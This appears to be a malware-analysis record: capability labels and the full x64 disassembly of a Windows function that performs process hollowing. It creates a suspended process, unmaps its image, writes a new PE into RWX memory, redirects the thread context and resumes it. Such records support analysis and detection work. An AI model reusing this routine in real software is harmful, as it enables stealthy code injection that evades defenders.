Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xe0
mov r14, rcx
mov rsi, rdx
lea rcx, [0x140001010]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ebx, ebx
mov r12, rax
test rax, rax
je 0x140001d48
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140001d48
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
cmp dword [rdi], 0x4550
jne 0x140001d48
xorps xmm0, xmm0
lea r15d, [rbx + 0x68]
xor eax, eax
lea rcx, [rbp - 0x49]
mov r8d, r15d
mov qword [rbp - 0x59], rax
xor edx, edx
movups xmmword [rbp - 0x69], xmm0
call fcn.140001abc
mov r8d, r15d
lea rcx, [rbp - 0x49]
xor edx, edx
call fcn.140001abc
xor edx, edx
lea r8d, [rbx + 0x18]
lea rcx, [rbp - 0x69]
call fcn.140001abc
lea rax, [rbp - 0x69]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea r15d, [rbx + 4]
lea rax, [rbp - 0x49]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbx
mov rcx, r14
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001d48
mov r9d, r15d
mov r8d, 0x1000
lea r15d, [rbx + 8]
xor ecx, ecx
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov qword [rbp - 0x51], rax
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001d34
mov rdx, qword [r14 + 0x88]
lea r8, [rbp + 0x7f]
mov rcx, qword [rbp - 0x69]
add rdx, 0x10
mov r9d, r15d
mov qword [rbp + 0x7f], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rdi + 0x30]
cmp qword [rbp + 0x7f], rax
jne 0x140001c45
lea rdx, [0x140001018]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x7f]
mov rcx, qword [rbp - 0x69]
call rax
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rbp - 0x69]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140001d34
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rbp - 0x69]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp bx, word [rdi + 6]
jae 0x140001cdd
mov r13, rbx
mov r14, rbx
movsxd rax, dword [rsi + 0x3c]
mov rcx, qword [rbp - 0x69]
add rax, r13
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rsi + 0x11c]
mov edx, dword [rax + rsi + 0x114]
add r8, rsi
mov r9d, dword [rax + rsi + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14
add r13, 0x28
cmp r14, rax
jb 0x140001c96
mov r14, qword [rbp - 0x51]
mov rdx, qword [r14 + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rbp - 0x69]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rdi + 0x28]
lea rdx, [0x140001030]
add eax, r15d
mov rcx, r12
mov qword [r14 + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x61]
mov rdx, r14
call rax
mov rax, qword [rbp + 0x77]
mov rcx, qword [rbp - 0x61]
mov qword [rax], rcx
jmp 0x140001d38
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
jmp 0x140001d4a
xor eax, eax
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret